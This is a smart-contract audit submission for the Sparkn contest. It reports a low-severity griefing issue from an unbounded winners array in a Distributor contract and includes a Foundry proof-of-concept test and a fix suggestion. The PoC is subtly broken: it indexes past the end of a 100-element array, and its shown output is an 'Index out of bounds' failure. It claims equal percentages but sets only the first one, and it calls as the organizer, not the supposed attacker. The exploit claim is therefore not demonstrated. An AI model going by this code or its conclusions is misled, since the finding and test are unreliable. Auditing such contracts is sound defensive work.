Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: low
Valid

Attacker can perform a griefing attack passing altered encoded data

Summary

Attacker can perform griefing attack via bytes data param ,breaking protocol invariants

Vulnerability Details

It is said that in Distributor: line 👉 108 The winners and percentages array are supposed not to be so long, so the loop can stay unbounded:
but it isn't checked,or given a MAX limit for winner.length so a attacker can still pass data with a very long array of winners and equal percentages.
In ProxyFactory::deployProxyAndDistribute() a attacker can pass data by including a long array of winners ,equally in percentage it will end up in calling _distribute() function then ,
in _distribute(..) function only thing which is checked is if (winners.length == 0 || winners.length != percentages.length) revert Distributor__MismatchedArrays();

POC

  1. Consider admin creates a new contest calling ProxyFactory::setContest(...) passing the address of Jason and giving him a contestId ..otherparms,

  2. So now Jason can call deployProxyAndDistribute() ,he has the authority to pass any arbitrary data to the function

Copy below test into ./test/integration/ProxyFactoryTest.t.sol
Run forge test --match-path ./test/integration/ProxyFactoryTest.t.sol -vvv

function testGasGreif() public setUpContestForJasonAndSentJpycv2Token(organizer) {
// before
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);
bytes32 randomId_ = keccak256(abi.encode("Jason", "001"));
// bytes memory data = createData();
//========================= POC ===========================
bytes memory data ;
address[] memory tokens_ = new address[](1);
tokens_[0] = jpycv2Address;
//A long Array of Winners
address[] memory winners = new address[](100);
//Just created 100 winners for testing we cant' use address(0) because ERC20 transfer revert
for(uint256 i=1; i < 101 ; i++){
winners[i] = address(uint160(uint256(i)));
}
//Equal percentages (100)
uint256[] memory percentages_ = new uint256[](100);
//It doesn't matter we give everything to the firstUser ,is it fair 😆?
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.distribute.selector, jpycv2Address, winners, percentages_, "");
//===========================================================
vm.warp(9 days); // 9 days later
vm.startPrank(organizer);
proxyFactory.deployProxyAndDistribute(randomId_, address(distributor), data);
vm.stopPrank();
// after
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 9500 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 500 ether);
}
  1. OutPut

Failing tests:
Encountered 1 failing test in test/integration/MyTest.t.sol:MyTest
[FAIL. Reason: Index out of bounds] testGasGreif() (gas: 117356)

Impact

Attacker can perform griefing attack breaking the invariant at the line 108 Distributer.sol

Tools Used

Foundry

Recommendations

consider adding a check for a limit for max_Winners and check it is equal to percentages.length before the loop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!